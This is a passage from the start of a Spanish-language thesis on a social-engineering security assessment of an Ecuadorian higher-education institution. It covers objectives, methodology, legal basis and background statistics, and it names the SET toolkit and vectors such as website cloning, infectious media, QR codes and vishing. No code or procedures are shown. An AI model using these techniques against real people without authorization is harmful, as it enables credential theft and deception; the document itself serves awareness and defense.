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RESUMEN

La ingenieria social es una de las técnicas mas utilizadas por cibercriminales, la cual busca
atacar a las personas que pertenecen a una institucion respectivamente, manipulando a la
misma mediante habilidades sociales y técnicas psicoldgicas, con la finalidad de cumplir
un objetivo malicioso. Este método aparece frecuentemente como un correo electronico
0 un mensaje de texto que a simple vista parece inofensivo, pero que tiene por debajo un

ataque cibernético.

Debido a la pandemia del covidl19, las instituciones publicas y privadas, optaron por
utilizar herramientas tecnoldgicas de manera fundamental, ya que, era una necesidad para
poder desempefar las actividades que realizaban en su lugar de trabajo de manera
presencial, esto se volvié algo habitual, tanto asi que el uso de plataformas informaticas
aumentd considerablemente. Teniendo en cuenta esto, nos debemos preocupar de la
seguridad que recibe la informacion que posee y como esté siendo tratada. De este modo,
dichas herramientas digitales son un blanco facil para los ciberdelincuentes, que tienen

mayor acceso a robar datos importantes y vulnerarlos con fines maliciosos.

Por esta razén, el presente proyecto propone determinar las posibles vulnerabilidades a
través de la recopilacion de informacién, mediante ingenieria social, empleando técnicas
computacionales y no computacionales en una institucién de educacion superior de la
provincia de Santa Elena, con el objetivo de generar un informe acerca de los datos
encontrados y complementando con una guia de buenas practicas para las personas de
dicha entidad.

La metodologia de investigacién empleada para elaborar el presente informe es de tipo
exploratoria y diagnostica, las cuales ayudaron a recolectar informacion acerca de la
institucion de educacidn superior, realizando una encuesta a los estudiantes y docentes de
la entidad. Asi mismo, se utiliz6 una metodologia genérica, adaptada con el fin de
identificar las vulnerabilidades mediante ataques de ingenieria social, que se divide en las
fases: identificacion y seleccion de técnicas de ingenieria social, implementacion de

técnicas de ingenieria social, analisis de resultados e informe de resultados.

Finalmente, se realizaron los ataques de ingenieria social, teniendo éxito y mostrando las
vulnerabilidades encontradas en dicha institucion, asi mismo, se plante6 una guia de

buenas practicas, que sera de gran ayuda para las personas que desconocen del tema.
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ABSTRACT

Social engineering is one of the techniques most commonly used by cybercriminals,
which seeks to attack people belonging to an institution respectively, manipulating them
through social skills and psychological techniques, in order to fulfill a malicious
objective. This method often appears as an email or text message that at first glance seems
harmless, but has a cyber-attack underneath.

Due to the covid19 pandemic, public and private institutions opted to use technological
tools in a fundamental way, since it was a necessity to be able to carry out the activities
they performed in their workplace in person, this became commonplace, so much so that
the use of computer platforms increased considerably. Taking this into account, we must
be concerned about the security of the information you have and how it is being treated.
In this way, such digital tools are an easy target for cybercriminals, who have greater
access to steal important data and violate them for malicious purposes.

For this reason, this project proposes to determine the possible vulnerabilities through the
collection of information, through social engineering, using computational and non-
computational techniques in an institution of higher education in the province of Santa
Elena, with the aim of generating a report about the data found and complementing it with

a guide of good practices for the people of that entity.

The research methodology used to prepare this report is exploratory and diagnostic, which
helped to collect information about the higher education institution, conducting a survey
of students and teachers of the entity. Likewise, a generic methodology was used, adapted
in order to identify vulnerabilities through social engineering attacks, which is divided
into the following phases: identification and selection of social engineering techniques,

implementation of social engineering techniques, analysis of results and report of results.

Finally, the social engineering attacks were carried out, being successful and showing the
vulnerabilities found in this institution, likewise, a guide of good practices was proposed,

which will be of great help for people who are not familiar with the subject.
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INTRODUCCION

En Ecuador, muchas entidades publicas y privadas han sido victimas de ataques
informaticos y robo de datos, dichos casos no han sido denunciados ni reportados, porque
pierden credibilidad como empresa, por ende, no son muy conocidos como crimenes
cibernéticos en el pais. Asi mismo, son pocas las instituciones que revelan haber sufrido
pérdidas de informacién, perdiendo prestigio con los clientes en base a la proteccion de

datos que brindan como entidad.

En la actualidad, las instituciones manejan espacios grandes de almacenamiento digital,
recopilando toda la informacion importante alli, incluyendo datos personales, estados
financieros, lista de los clientes, entre otros. Llamando la atencién de cibercriminales
malintencionados, buscando instituciones con el propdsito de recolectar datos sensibles y
utilizarlos de forma fraudulenta. Cualquier entidad puede ser un blanco de ataque hoy en
dia, ya que los hackers utilizan un conjunto de técnicas que les permiten usurpar la

informacion.

Es por esto, que se propone determinar las posibles vulnerabilidades mediante la
recopilacion de informacion a través de ingenieria social utilizando métodos
computacionales y no computacionales en una institucion de educacion superior de la
provincia de Santa Elena, con el fin de generar un informe con respecto a los datos
encontrados y complementando con una guia de buenas practicas para las personas de
dicha entidad.

Las fases que se utilizaran en el presente proyecto son: Identificacidn y seleccion de
técnicas de ingenieria social, implementacion de técnicas de ingenieria social, analisis de

resultados e informe de resultados.

Para la determinacion de requerimientos se utilizaron las metodologias de investigacion
diagnostica y exploratoria, haciendo una revision de trabajos similares al presente
proyecto y realizando una encuesta a los docentes y estudiantes de la institucion antes
mencionada. Asi mismo, se utiliza una metodologia adaptada, con el fin de identificar

vulnerabilidades a través de ataques de ingenieria social.

Se emplearon herramientas de codigo libre para el desarrollo del proyecto, tales como:
Kali Linux y Social Engineering Toolkit, permitiendo crear los ataques de ingenieria

social, que seran enviados a las personas de la institucion.



Los vectores de ataque empleados en el presente trabajo se dividen en computacionales y

no computacionales, siendo estos:

Website attack Vectors

e Infectious media Generator

e QRCode Generator attack vector
e Shoulder surfing

e Vishing.

Después de realizar correctamente todos los ataques descritos anteriormente, se
analizaron las vulnerabilidades encontradas y se elabor6 una guia de buenas practicas que

ayudara en gran medida a la institucion.

Este trabajo, esta estructurado como se detalla a continuacion:

El capitulo I, contiene los antecedentes, descripcion del proyecto, objetivos, justificacion

y metodologia del proyecto.

Asi mismo, el capitulo Il estd conformado por el marco contextual, marco conceptual,

marco tedrico y componentes de la propuesta.

Finalmente, el capitulo 11, abarca la propuesta, los resultados de la encuesta con cuadros
estadisticos, la metodologia de ataques de ingenieria social, identificacion de técnicas de
ingenieria social computacionales y no computacionales, implementacién de técnicas de

ingenieria social, analisis de resultados, conclusiones y recomendaciones.



1. FUNDAMENTACION

1.1 ANTECEDENTES
En la actualidad las instituciones manejan espacios de almacenamiento digital, donde
recopilan informacion relevante, donde pueden incluir datos personales, estados
financieros, lista clientes, entre otros [1]. Esto llama la atencion de entes mal
intencionados, los mismos que pueden ser competidores dentro del mercado, o los
conocidos ciberdelincuentes informaticos, que recolectan y utilizan datos sensibles para
extorsionar, robar informacion, manipular, entre otros crimenes, que afectan al desarrollo
de la organizacién [1]. Los hackers utilizan un conjunto de técnicas que les permiten

usurpar la informacion [1].

La ingenieria social es uno de los métodos mas utilizados por cibercriminales, la cual se
enfoca en atacar a las personas que pertenecen a una entidad, manipulando a la misma a
través de habilidades sociales y técnicas psicoldgicas con el fin de cumplir un objetivo
malicioso [2]. Esta técnica frecuentemente aparece como un mensaje de texto, de correo
electronico o de voz de una fuente que parece inofensiva a simple vista, pero por debajo

contiene un tipo de ataque cibernético [2].

Entre los atagues mas conocidos esta el phishing, que se lleva a cabo mediante el correo
electronico, donde persuade a la victima a ingresar al enlace insertado en el mensaje para
que revele sus datos personales o financieros [3]. Asi mismo, existen otras técnicas como
instalar software malicioso o malware de forma inadvertida en los dispositivos
electrénicos; utilizar un keylogger que captura las contrasefias que introducen los
usuarios, o emplear practicas como la personificacion, la cual asume la identidad de otra

persona con el fin de obtener informacion confidencial [3].

En el afio 2016 la compafiia de seguridad informatica ESET informo6 que 49% de los
ataques son dirigidos a instituciones pequefias y un 30% a instituciones grandes o
medianas, pero el sector que presenta méas vulnerabilidades es el sector publico, debido
que no realizan estudios para identificar los riesgos y por lo tanto no se puede tomar
medidas preventivas de ciberseguridad [4] [Anexol].

En Ecuador, muchas instituciones han sido victimas de ataques informéticos y robo de
informacidn, pero son casos que no han sido denunciados o reportados, ya que pierden
prestigio como entidad, por lo tanto, no son conocidos muchos de los crimenes

cibernéticos que ha habido en el pais y son pocas las instituciones que revelan, puesto que

3



han sufrido pérdidas de clientes debido a la baja credibilidad de proteccion de datos que

poseen, por lo que las personas ya no confian en seguir con la instituciéon [5].

En el pais, un 43% de los ciudadanos tiene acceso a internet, sin embargo, la mayoria de
estos, no conocen temas de vulnerabilidades informaticas o medidas que deben tomar
para disminuir el riesgo de infeccion por algun tipo de malware [6], esto se debe al bajo
nivel de educacion informatica [Anexo2], elevando la posibilidad de ser victimas de estos
delincuentes, por otro lado, las politicas y normas de seguridad no se cumplen de forma

rigurosa.

Diversas instituciones son victimas de ciberataques, segun el estudio realizado por ITRC
Data Breach Reports el 23,7% son ataques realizados al sector de la salud, un 8,0% a la

educacion e instituciones gubernamentales presentan un 4,7% [6].

A nivel mundial en el periodo 2018-2019 se registrd un aumento del 33% en ataques
informaticos tipo phishing [7]. En el afio 2020 entre los meses de enero a septiembre se
registraron 1.3 millones de intentos de ataques con ransomware [Anexo3]. Los atacantes
aprovechan las vulnerabilidades del sistema, contrasefias débiles, softwares no

actualizados o programas crackeados para realizar la infeccién [8].
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Figura 1. Aumento de ataques informaticos entre el afio 2015-2020

Debido a la pandemia del covid19 en el mundo las empresas, instituciones publicas y
privadas, personas se vieron obligados a utilizar herramientas tecnologicas de forma
esencial para desempefiar las actividades que realizaban en su lugar de trabajo, esto se
volvié habitual e indispensable, tanto asi que el uso de plataformas informaticas aumenté
del 70% a 300% [8]. No obstante, nos deberiamos de preocupar de la seguridad que
recibe nuestra informacion y como esta siendo tratada [Anexo4].



Del mismo modo, con la virtualidad durante la pandemia, se trabajo con herramientas
digitales de aprendizaje remoto, donde los ciberdelincuentes tenian mayor acceso a robar
datos importantes y vulnerarlos con fines maliciosos [8]. Si comparamos el ambiente de
funcionamiento de una institucion educativa con una financiera, no tiene los mismos
niveles de seguridad que se requieren para administrar la informacion, siendo un blanco

facil para cibercriminales y dejando a un lado la proteccion de los datos [8].

El presente trabajo propone determinar las posibles vulnerabilidades mediante la
recopilacion de informacion a través de ingenieria social utilizando técnicas
computacionales y no computacionales en una institucion de educacion superior de la
provincia de Santa Elena, con la finalidad de generar un informe acerca de los datos
encontrados y complementando con una guia de buenas practicas para los estudiantes de
dicha entidad.

1.2 DESCRIPCION DEL PROYECTO
El presente proyecto propone determinar las vulnerabilidades en una institucion de
educacion superior, a traves de la recopilacién de informacion, mediante ingenieria social
aplicando técnicas computacionales y no computacionales, con el objetivo de generar un
informe acerca de los datos recabados, complementando con una guia de buenas practicas
para dicha entidad.

Diversas instituciones son victimas de ciberataques, segun el estudio realizado por ITRC
Data Breach Reports el 23,7% son ataques realizados al sector de la salud, un 8,0% a la
educacién y empresas gubernamentales presentan un 4,7% [9]. A nivel mundial en el
periodo 2018-2019 se registré un aumento del 33% en ataques informaticos tipo phishing
[9], los ataques con técnicas de ingenieria social son cada vez mas comunes dentro de la
sociedad. En el afio 2021 la tendencia de crecimiento de ataques informaticos en Ecuador
aumentd significantemente un 75% con relacion a afios anteriores [9]. En estas
estadisticas se puede observar que las instituciones de educacidn se encuentran como una

de las victimas preferidas de estos delincuentes informaticos.

Por motivos del crecimiento de ataques informaticos en el pais, se desea realizar un
analisis de ingenieria social en una institucion de educacion superior, los resultados
serviran para analizar estos inconvenientes que se presentan en el lugar, dar

recomendaciones para disminuir la posibilidad de un futuro ataque, mitigar el dafio que



puede generar el mismo y evitar que la falta de seguridad informatica sea aprovechada

por estos ciber atacantes.

Las fases que se utilizaran en el presente proyecto son: Identificacion y seleccion de

técnicas de ingenieria social, implementacion de técnicas de ingenieria social, analisis de

resultados e informe de resultados.

1.3 OBJETIVOS

13.1 OBJETIVO GENERAL

Aplicar ingenieria social mediante el disefio de ataques de seguridad informatica, con

técnicas computacionales y no computacionales, para evaluar el nivel de conocimiento

de los usuarios, respecto al uso seguro de los sistemas informaticos.

1.3.2 OBJETIVOS ESPECIFICOS

Investigar acerca de los distintos tipos de métodos empleados en ingenieria social,
escogiendo las técnicas adecuadas, para identificar las vulnerabilidades a las que

estan expuestas los usuarios.

Recopilar informacién, mediante métodos de recoleccion de datos, para tener una
base de conocimientos previos de las habilidades de los usuarios respecto al uso

seguro de los sistemas informaticos.

Emplear técnicas computacionales y no computacionales a través de ingenieria
social, para analizar las vulnerabilidades a las que estan expuestas los usuarios por

falta de conocimiento en seguridad informatica.

Elaborar un informe final con los resultados obtenidos, para evidenciar el disefio

de los ciberataques y sus consecuencias.

Proponer una guia de buenas practicas de seguridad de la informacion, basada en
lanorma ISO 27001, que permita mejorar el nivel de conocimiento de los usuarios

respecto al uso seguro de los sistemas informaticos.



1.4 JUSTIFICACION

La seguridad informatica ha experimentado un profundo cambio en los Gltimos afios. La
misma, pasd de ser un gasto innecesario a una inversion aislada con el objetivo de
fortalecer la proteccion de datos en puntos muy concretos, por esta razén las inversiones
en este sector han crecido de forma exponencial para cuidar lo méas valioso que tiene la
entidad, que es resguardar los procesos que posee Yy la informacion del personal [10]. El
70% de las instituciones consideran que la ciberseguridad es prioridad en sus agendas, ya

que esto ayuda a mitigar los ataques que se pueden presentar en el lugar [10].

En el afio 2019 el ESET reportd los incidentes de seguridad basandose en paises de
Latinoamérica donde se puede observar que el pais con mas inconvenientes de este tipo
es México con el 72%, seguido por Peru con el 71%, Paraguay 67% y Ecuador con el
65% de ataques registrados, las medidas que fueron implementadas por diversas
instituciones lograron reducir un 10% de ataques con Ransoware con respecto a los afios

anteriores [11].

En los ultimos afios se han implementado nuevos procesos que permiten mitigar los
ataques informaticos, para evitar el hurto de informacion, suplantaciéon de identidad,
DDOS, etc. Los trabajos de investigacion lograron construir diversas metodologias que
permiten reducir el impacto de un futuro ataque, utilizando los analisis de
vulnerabilidades cuya aplicacion permite disminuir el riesgo a equipos y redes,

precautelando la informacion y servicios de las organizaciones [8].

Con el flujo constante de personas en las instituciones, especialmente usuarios nuevos y
salientes, se puede decir que ensefiar a cada miembro de una organizacion las mejores

practicas de ciberseguridad, es un proceso interminable [8].

Mientras comienzan desde la incorporacion y la induccién, los empleados nuevos y
existentes necesitan recordatorios constantes y actualizaciones sobre los pasos que deben
tomar diariamente para proteger a la entidad de la gran cantidad de amenazas cibernéticas

emergentes muchas veces provenientes de método habiles de ingenieria social [12].

La virtualizacion de sistemas operativos y procesos sirve principalmente para compartir
los recursos y optimizar el uso de procesadores [11]. Virtual Box es un software que nos
ayuda a recrear estos sistemas operativos para utilizar las herramientas disponibles que

estos S.O nos ofrecen para trabajar de una mejor forma.



Al realizar el analisis de vulnerabilidades utilizaremos varias herramientas que estan
disponibles en el S.O Kali Linux, el resultado obtenido por ambos sistemas seran

comparados y esto permitira elegir la informacion mas sensible para realizar el estudio.

La finalidad de este trabajo investigativo es presentar un informe, donde se establezcan
todas las vulnerabilidades existentes. Ademas, se elaborard una guia de buenas practicas
con recomendaciones que se puedan ejecutar, para mitigar los riesgos de un futuro ataque

y reforzar la seguridad informatica de dicha entidad de educacidn superior.
Este proyecto esta direccionado al plan de creacion de oportunidades.

Objetivo 10. Garantizar la Soberania nacional, integridad territorial y seguridad del

estado.

Tomando en cuenta el redimensionamiento politico de los temas de seguridad con una
orientacion cooperativa y coordinada, considerando la soberania, la independencia y el

planteamiento de la politica de los Estados [13].

Politicas.

10.1 Fortalecer al Estado para mantener la confidencialidad, integridad y disponibilidad
de la informacion frente a amenazas provenientes del ciberespacio y proteger su

infraestructura critica [13].

Lineamiento territorial 10.1. Promover el mejoramiento de la calidad de vida de las
personas que habitan las zonas de frontera, en un entorno de respeto a los derechos

humanos [13].

Metas al 2025

10.1.1 Incrementar el indice de ciberseguridad global de 26.3 a 51.3 [13].

Objetivos del eje Econémico

Objetivo 5. Proteger a las familias, garantizar sus derechos y servicios, erradicar la

pobreza y promover la inclusion social [13].

Politica 5.5: Mejorar la conectividad digital y el acceso a nuevas tecnologias [13].



1.5. METODOLOGIA DEL PROYECTO

1.5.1. METODOLOGIA DE LA INVESTIGACION

El proyecto de investigacion realizado a esta institucion tomo de referencia documentos
que contengan analisis hechos a otras instituciones, por eso el tipo de metodologia
empleado seré exploratorio [14]. La investigacion que se realizara a esta institucion, no
se ha realizado con anterioridad, con recoleccion de informacion mediante técnicas de

ingenieria social [14].

Se recopilé informacién con diferentes herramientas y métodos de ciberataques, asi
mismo, la bdsqueda de trabajos similares respecto al presente tema de investigacion, en
base a la metodologia aplicada, la cual es de tipo diagnostica [14]. Teniendo como
objetivo, disminuir el porcentaje de informacion sensible entregada a terceros por parte

del personal [14].

1.5.2. TECNICAS DE RECOLECCION DE INFORMACION

Las técnicas utilizadas para la recoleccion de informacion se dieron mediante ingenieria
social, en una encuesta realizada en Google form para recolectar informacion acerca del
conocimiento de dichos ataques y procedimientos que se van a realizar en la entidad (Ver

Anexo 7), en relacion al presente proyecto.

1.5.3. RECOPILACION DE INFORMACION

Es una actividad que se basa en agrupar datos importantes sobre un contenido en
especifico, de tal forma, es importante conocer la opinién de las personas para el correcto
desarrollo del trabajo. Por este motivo, se realiza la recoleccion de informacion en la
institucion de educacion superior de la provincia de Santa Elena, realizando una encuesta
general [Anexo7] al personal docente y estudiantes de la entidad, a través de la
herramienta Google form, con el objetivo de saber si tienen conocimientos acerca de

ataques cibernéticos e ingenieria social.

Esta fase se considera como la parte mas importante del proyecto, ya que aqui se
determina la situacién actual en la institucién y los conocimientos que poseen las
personas, permitiendo almacenar y analizar la informacién sobre los individuos, teniendo

una base de donde partir para el desarrollo de este proyecto.



1.5.4. DATOS DE LA INSTITUCION

La institucién donde se hara el ataque, cuenta con un departamento de TI, el cual esta
encargado de la administracion de las redes en todo el campus, dichas redes estan
divididas de manera hibrida dentro de cada departamento con conexiones por cableado y
en todo el campus a través de wifi de largo alcance, que se expande en varias redes para
personal especifico, entre estudiantil y administrativo, el cual es privado y encriptado

mientras que el otro se mantiene de manera libre para los usuarios.

De la misma forma mantiene una pagina web interactiva, que consta con varios
aplicativos webs para estudiantes, docentes y administrativos, motivo por el cual, en
conjunto se maneja un aula virtual en donde interactta el docente con los estudiantes,
empleando un usuario y contrasefia individual, el cual es el principal medio de ataque que
se estudiara. Como esta institucion se divide en multiples sectores se comenzara este
ataque ético desde una zona en la, cual se piensa sera el punto mas vulnerable de toda esta

institucion.

1.5.5. METODOLOGIA DE DESARROLLO

Este trabajo se realiz6 mediante una metodologia genérica, adaptada con el fin de
identificar vulnerabilidades mediante ataques de ingenieria social. Se divide en las
siguientes fases: Identificacion y selecciébn de técnicas de ingenieria social,
implementacién de técnicas de ingenieria social, analisis de resultados e informe de

resultados.
Esta metodologia se enfoca en 4 fases, las cuales se explican a continuacion:

e Identificacion y seleccion de técnicas de ingenieria social: Se relne
informacién acerca de las principales técnicas de ingenieria social

computacionales y no computacionales, mostrandolas en un cuadro comparativo.

¢ Implementacion de técnicas de ingenieria social: En esta fase se disefian y
ejecutan los diversos ataques de ingenieria social, creando un prototipo
experimental para infectar al individuo de manera computacional, proponiendo
una forma de ingenieria social para determinar la posible extraccién de cuentas y
contrasefias. Ademas, se realiza la identificacion de vulnerabilidades, obteniendo

acceso a los sistemas y evaluando los mismos.
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e Analisis de resultados: Se evaltan todos los resultados de la ejecucion de ataques
de ingenieria social computacionales y no computacionales, aplicados en la fase

anterior, para obtener informacién concreta de las vulnerabilidades encontradas.

e Informe de resultados: Se crea un informe de los ataques generados para
constatar de qué modo se pudo extraer mas informacién, asi mismo, el documento
abarca un analisis completo de cada infeccion recolectada en el transcurso de la
fase 2. De la misma forma, se propone una guia de buenas practicas, que ayude al
usuario con un amplio contenido de informacion, sobre la prevencion de posibles

ataques dentro de la institucion.

La metodologia que se utilizara en el presente proyecto se adapt6 teniendo en cuenta los
requerimientos recopilados en la institucion, la cual esta disefiada para evaluar la entidad,
realizar los ataques, analizar los resultados y posteriormente, crear una guia de buenas
practicas. Esta metodologia ayuda a proyectar de la mejor manera cada fase, siguiendo

una secuencia de los procesos en cada item.

2. LAPROPUESTA
2.1 MARCO CONTEXTUAL

2.1.1. INSTITUCIONES DE EDUCACION SUPERIOR

Las instituciones de educacion superior son entidades que cuentan con un orden de
normas legales, con el reconocimiento oficial siendo prestadoras de servicio publico de
la educacion superior [15]. Dichas instituciones son pluralistas, estan abiertas a todas las
formas del pensamiento universal expuestas de manera cientifica [15]. Dirigen su
actividad a la formacion integral de las personas para contribuir al desarrollo del pais y al

logro de la justicia social [15].

2.1.2. SEGURIDAD INFORMATICA EN INSTITUCIONES DE EDUCACION
SUPERIOR

Asegurar la confidencialidad, integridad y disponibilidad de la informacién en un mundo
tecnoldgico se han convertido en los ejes principales a garantizar al interior de cualquier
organizacion, de hecho, actualmente, el sector educativo tiene el desafio de evitar la
vulnerabilidad, fortalecer el acceso, monitorear y garantizar la adecuada gestién de los

equipos, reduciendo las posibilidades de ser victimas de ataques cibernéticos [16].
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Los diferentes riesgos van de la mano con la seguridad de la informacion, desafiando las
seguridades fisicas tradicionales, como en un campus universitario, un edificio o alumnos
y empleados de un ente educativo superior, esto se ha convertido en una necesidad para
implementar protocolos de seguridad para la informacion mediante pasos de

autentificacion, estructuracion, secuencia y encriptado de datos organizacionales [17].

Las instituciones de educacion superior han mostrado recientemente un creciente interés
por lograr una mayor eficiencia en la gestion, dependiendo de una escala mas alta sobre
la seguridad de estas gestiones. Debiendo trabajar para enfrentar los desafios creados por
las necesidades internas y externas de seguridad tanto para empleados administrativos,
personal general, docentes y estudiante, sobre todo con personas que se conectan a las

redes gratuitas de la institucion [18].

Por otro lado, se dice que las instituciones de educacion superior presentan grandes
desafios como son la integracion de la seguridad informatica en el establecimiento, asi
mismo, las capacitaciones que se deben impartir acerca de este tema, continuamente a los

docentes y estudiantes que conforman la entidad [18].

APLICACION DE SEGURIDAD INFORMATICA EN EL AMBITO
TECNOLOGICO

Los piratas informaticos estan evolucionando y sus tecnologias se estan volviendo cada
vez mas sofisticadas, por lo que las organizaciones ya no pueden confiar en un enfoque
propietario de la seguridad [19]. Las amenazas contindan evolucionando y cambiando a
diario, y las empresas de todos los tamafios deben esforzarse por ser resilientes, trabajar
regularmente para desarrollar y perfeccionar estrategias de seguridad tan polifacéticas

como la infraestructura que las protege [19].

Sabiendo que las redes universitarias deben respetar la diversidad de estas funciones, la
planificacion es necesaria para garantizar la eficacia del servicio, asi como su seguridad
[19]. Ante esto, Pablo Ramos, Especialista en Seguridad de la Informacion de ESET
Latinoamérica, dice que planificar y disefiar infraestructura educativa no es una tarea para
nada sencilla, ya que, la proteccion de la infraestructura de TI es el procedimiento de
implementar medidas que ayuden a salvaguardar el entorno tecnologico de la institucion,
abarcando toda el area de TI, incluyendo las redes, software relevantes y componentes de
hardware [19].
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“Primero hay que pensar en el trafico que hay que manejar, asi como en el
comportamiento de los estudiantes y docentes, que en la mayoria de los casos va mas alla
de las buenas précticas de seguridad informatica, ya que la informacion se maneja dentro
de una institucion educativa, es necesario desde el comienzo para considerar los
segmentos de la red que también deben tratarse hasta los programas y politicas de
seguridad. [20]”.

Referentemente en una de sus revistas Universitaria, se menciona que por el impacto de
las TIC en diversos sectores de la sociedad, incluyendo la educacion y la cultura, donde
se necesita apoyo para resolver problemas a través de planes de transformacion; Se
present6 un trabajo de disefio arquitectonico y modelo tecnoldgico de componentes para
la creacién de un campus universitario virtual y el desarrollo de estudios en linea en el
contexto de la educacion superior en el Ecuador [21]. Para ello, se toma como referencia
el marco normativo vigente en el Ecuador y las principales recomendaciones que las
instituciones de educacion superior deben ser aprobadas por las instituciones de
educacion superior [21]. Ofreciendo oportunidades de carrera en métodos en linea o

aquellos que necesitan un campus virtual para aumentar su productividad [21].

APLICACION DE SEGURIDAD INFORMATICA EN LA COMUNIDAD
ACADEMICA

Si bien el proceso de integracion de la seguridad informatica en las ideas y acciones de la
sociedad avanza poco a poco, las dificultades que implica presentar esta informacion en
la comunidad estudiantil también son cada vez mas complejas de entender y manejar [22].
Segun Security Scorecard, un tercio de los ataques cibernéticos en 2018 se dirigieron a
instituciones de educacidn superior [22]. Asi lo confirmo el director de Seguridad de la
Universidad de Pensilvania, Donald Welch, quien afirmd que cuando se trata de
ciberseguridad en las instituciones de educacion superior, solo se dedica un pequefio
porcentaje del tiempo al desarrollo de una estrategia para prevenir amenazas y mitigar
futuras violaciones [22]. Hay que entender que las universidades son instituciones que

tienen casi todo tipo de datos importantes, criticos y confidenciales [22].
FINES Y PRINCIPIOS DEL SISTEMA DE EDUCACION SUPERIOR

Art. 1.- Ambito. - Esta Ley regula el sistema de educacion superior en el pais, a los
organismos e instituciones que lo integran; determina derechos, deberes y obligaciones

de las personas naturales y juridicas, y establece las respectivas sanciones por el
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incumplimiento de las disposiciones contenidas en la Constitucion y la presente Ley [23].

Art. 2.- Objeto. - Esta Ley tiene como objeto definir sus principios, garantizar el derecho
a la educacion superior de calidad que propenda a la excelencia interculturalidad, al
acceso universal, permanencia, movilidad y egreso sin discriminacion alguna y con

gratuidad en el ambito publico hasta el tercer nivel [23].

Art. 3.- Fines de la Educacion Superior. - La educacion superior de caracter humanista,
intercultural y cientifica constituye un derecho de las personas y un bien pablico social
que, de conformidad con la Constitucion de la Republica, responderd al interés publico y
no estara al servicio de intereses individuales y corporativos [23].

Art. 4.- Derecho a la Educacién Superior. - El derecho a la educacion superior consiste
en el ejercicio efectivo de la igualdad de oportunidades, en funcion de los méritos
respectivos, a fin de acceder a una formacién académica y profesional con produccion de
conocimiento pertinente y de excelencia [23]. Las ciudadanas y los ciudadanos en forma
individual y colectiva, las comunidades, pueblos y nacionalidades tienen el derecho y la
responsabilidad de participar en el proceso educativo superior, a través de los mecanismos

establecidos en la Constitucion y esta Ley [23].

2.1.3. NECESIDAD DE HERRAMIENTAS TECNOLOGICAS EN LA
COMUNIDAD ACADEMICA

En la actualidad la tecnologia avanza notablemente, y el desarrollo de herramientas
tecnoldgicas ha adoptado el ritmo en la vida cotidiana [24]. En el contexto educativo, es
bastante comin que los estudiantes utilicen varias herramientas para realizar tareas
académicas o facilitar el trabajo en el proceso ensefianza — aprendizaje [24]. Ahora
realizan las actividades en el menor tiempo posible, por ejemplo: Buscar un libro por

internet y no tener que ir fisicamente a una biblioteca [24].

A continuacién, se detallan las herramientas tecnolégicas que los estudiantes mas utilizan

en la era actual:
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Gmail: Servicio de correo electronico, permitiendo acceder a servicios de la nube
y sus beneficios [25].

Microsoft Word: Procesador de textos, que permite manipular, guardar, imprimir
y compartir informacion [26].

Adobe Acrobat: Es una familia de aplicaciones informaticas, disefiados para
visualizar, crear y modificar archivos en formato PDF [27].

Google Chrome: Es un navegador web rapido y seguro [28].

Google: Es un motor de busqueda, que permite recibir millones de consultas cada
dia a través de sus distintos servicios [29].

Power Point: Es un programa de presentacion, utilizado en diversos campos de
la ensefianza, los negocios, entre otros [30]. Permite las animaciones de texto e
imagenes predisefiadas [30].

Microsoft Excel: Es un programa de software de hojas de calculo y una
herramienta avanzada de analisis y visualizacion de datos [31].

Avast: Es un antivirus inteligente, que detecta virus, malware, spyware,
ransomware, phishing, entre otras amenazas [32].

Facebook: Es una red social, que permite vinculos virtuales y ofrece servicios
para redes y medios de caracter social, en linea [33].

WhatsApp: Aplicacion de chat para teléfonos moviles de ltima generacion, los
Ilamados smartphones, que sirve para enviar mensajes de texto y multimedia [34].
Zoom: Servicio de videoconferencia basado en la nube que se utiliza para reunirse
virtualmente con otras personas [35].

Moodle: Plataforma de aprendizaje disefiada para proporcionar a docentes y
estudiantes, un sistema para crear ambientes de aprendizaje personalizado [36].

Drive: Servicio de almacenamiento de datos, guardados en la nube [37].

2.1.4. BASE LEGAL
La Ley Organica de Proteccion de Datos Personales, es una norma juridica que tiene como

objetivo garantizar y proteger el tratamiento de datos personales, libertades publicas y

derechos fundamentales de las personas fisicas, especialmente en su honor e intimidad

personal y familiar [38].

Segun la Ley Organica de Proteccidén de Datos Personales (LOPD), se consideran los

articulos mas relevantes en el presente trabajo [38]:
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Capitulo .- Ambito de aplicacion integral

Art 1.- Objeto y finalidad. — El objeto y finalidad de la presente ley es garantizar el
ejercicio del derecho a la proteccion de datos personales, que incluye el acceso y decision
sobre informacion y datos de este caracter, asi como su correspondiente proteccion [38].
Para dicho efecto regula, prevé y desarrolla principios, derecho, obligaciones y

mecanismos de tutela [38].

Articulo 5.- Integrantes del sistema de proteccion de datos personales. — Son parte
del sistema de proteccién de datos personales, los siguientes [38]:

Titular;

Responsable del tratamiento;
Encargado del tratamiento;
Destinatario;

Autoridad de proteccion de datos personales; y,

2 o

Delegado de proteccion de datos personales.

Articulo 25.- Categorias especiales de datos personales. — Se consideraran categorias

especiales de datos personales, los siguientes [38]:

a) Datos sensibles;
b) Datos de nifias, nifios y adolescentes;
c) Datos de salud; y,

d) Datos de personas con discapacidad y de sus sustitutos, relativos a la discapacidad.

Articulo 37.- Seguridad de datos personales. — El responsable o encargado del
tratamiento de datos personales segln sea el caso, deberd sujetarse al principio de
seguridad de datos personales, para lo cual deberd tomar en cuenta las categorias y
volumen de datos personales, el estado de la técnica, mejores practicas de seguridad
integral y los costos de aplicacion de acuerdo a la naturaleza, alcance, contexto y los fines

del tratamiento, asi como identificar la probabilidad de riesgos [38].

Articulo 38.- Medidas de seguridad en el ambito del sector publico. — EI mecanismo
gubernamental de seguridad de informacion debera incluir las medidas que deban
implementarse en el caso de tratamiento de datos personales para hacer frente a cualquier

riesgo, amenaza, vulnerabilidad, accesos no autorizados, pérdidas, alteraciones,
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destruccién o comunicacién accidental o ilicita en el tratamiento de los datos conforme

al principio de seguridad de datos personales [38].

2.2 MARCO CONCEPTUAL

2.2.1. INGENIERIA SOCIAL

Es un conjunto de técnicas que utilizan los hackers para engafar a sus victimas y que les
envien datos sensibles, infectando sus computadoras con malware o abriendo enlaces a
sitios infectados [3]. Del mismo modo, los ciberdelincuentes pueden tratar de
aprovecharse por la falta de conocimiento de los usuarios, ya que, la mayoria de personas
no son conscientes del valor que tienen los datos personales y no saben la manera de

proteger correctamente su informacién [3].

2.2.2. TECNICAS DE INGENIERIA SOCIAL
Entre las técnicas mas conocidas en ingenieria social para manipular a una persona, y que
la misma, realice aquello que el hacker le propone, se dividen en computacionales y no

computacionales. A continuacidn, se presentan las técnicas mas importantes:

Técnicas de ingenieria social
Vector de ataque
Spear-Phishing Attack Vectors
Website Attack Vectors
